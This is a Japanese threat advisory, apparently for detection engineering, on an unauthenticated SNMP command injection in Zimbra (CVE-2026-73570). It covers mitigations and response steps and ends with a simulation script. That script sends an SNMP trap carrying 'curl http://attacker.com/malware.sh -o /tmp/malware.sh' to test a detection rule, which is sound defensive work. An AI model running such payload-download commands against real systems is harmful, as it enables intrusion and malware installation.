CVE-2026-73570: 認証されていないコマンドインジェクションがインターネット接続のメールサーバーを狙う

概要

攻撃者は、Zimbra Collaboration SuiteのSNMP通知経路における認証されていないOSコマンドインジェクションの脆弱性（CVE-2026-73570）を積極的に悪用しています。成功した場合、攻撃者はJSPウェブシェルを展開し、リバースシェルを確立し、権限を昇格させることができます。観測されたキャンペーンは、メールと認証データを盗むことに焦点を当てたキーボードでの操作と自動化されたペイロードの配信を組み合わせています。

調査

Microsoft Threat Intelligenceはテレメトリを通じてこの悪用を追跡し、偵察、初期アクセス、持続性、権限昇格を含む複数の攻撃段階を調査しました。調査官は特定のサブドメインを使用してコマンド実行を確認するための帯域外プローブを観察しました。分析はまた、Zimbraサービスのヘルパーとsystemdサービスやcronジョブを含む複数の持続性メカニズムを含む複雑な権限昇格を明らかにしました。

緩和策

組織は脆弱性に対処するためにZimbra Collaboration Suiteをバージョン10.1.20以降に直ちにアップグレードする必要があります。パッチを迅速に完了できない場合は、オプションの zimbra-snmp パッケージをアンインストールし、SNMP通知を無効にします。セキュリティチームはまた、SMTPとSNMPアクセスを信頼できるホストに制限し、すべてのZimbra認証シークレットをローテーションするべきです。

対応

インターネットに面したメールサーバーのリバースシェルアラートを高優先度インシデントとして扱い、迅速な範囲確認と認証情報の確認を行います。予期しないJSPファイルまたは最近変更された権限があるZimbraアプリケーションおよびサーブレットワークディレクトリを確認します。systemdユニットの所有権の疑わしい変化やタイムスタンピング活動を確認し、すべてのドメイン zimbraPreAuthKey 値をローテーションします。

シミュレーション実行

• 攻撃のシナリオとコマンド： 攻撃者はインターネットに面したZimbraメールサーバーを識別し、SNMP通知処理における脆弱性（CVE-2026-73570）を悪用します。特別に作成されたパケットを送信することで、SNMPサービスにコマンドを実行させるシェルメタキャラクタを注入します。攻撃者の目標は、永続性を確立するために二次ペイロードをダウンロードすることです。彼らは curl を使用してリモートサーバーからスクリプトを取得し、 検出ルールの論理 をトリガーする必要があります。

• 回帰テストスクリプト：

  #!/bin/bash
  # SNMPトラップ注入によるCVE-2026-73570の悪用シミュレーション
  # このスクリプトはSNMPトラップメッセージに「curl」コマンドを注入するシミュレーションです。
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # ルールで取り込まれることを意図した悪意のあるペイロード
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] SNMPトラップ経由のコマンドインジェクションをシミュレート中..."
  
  # 『curl』文字列を含む細工されたトラップの到来を模倣するためにsnmptrapを使用します。
  # 実際の攻撃では、これは不正に形成されたSMTP/SNMPパケット経由で送信されます。
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] シミュレーションコマンドが送信されました。 SIEMでアラートを確認してください：ZimbraにおけるSNMPを介した認証されていないコマンドインジェクション"

• クリーンアップコマンド：

  # シミュレーション中に作成されたファイルを削除します（該当する場合）
  rm -f /tmp/malware.sh
  echo "[+] クリーンアップ完了。"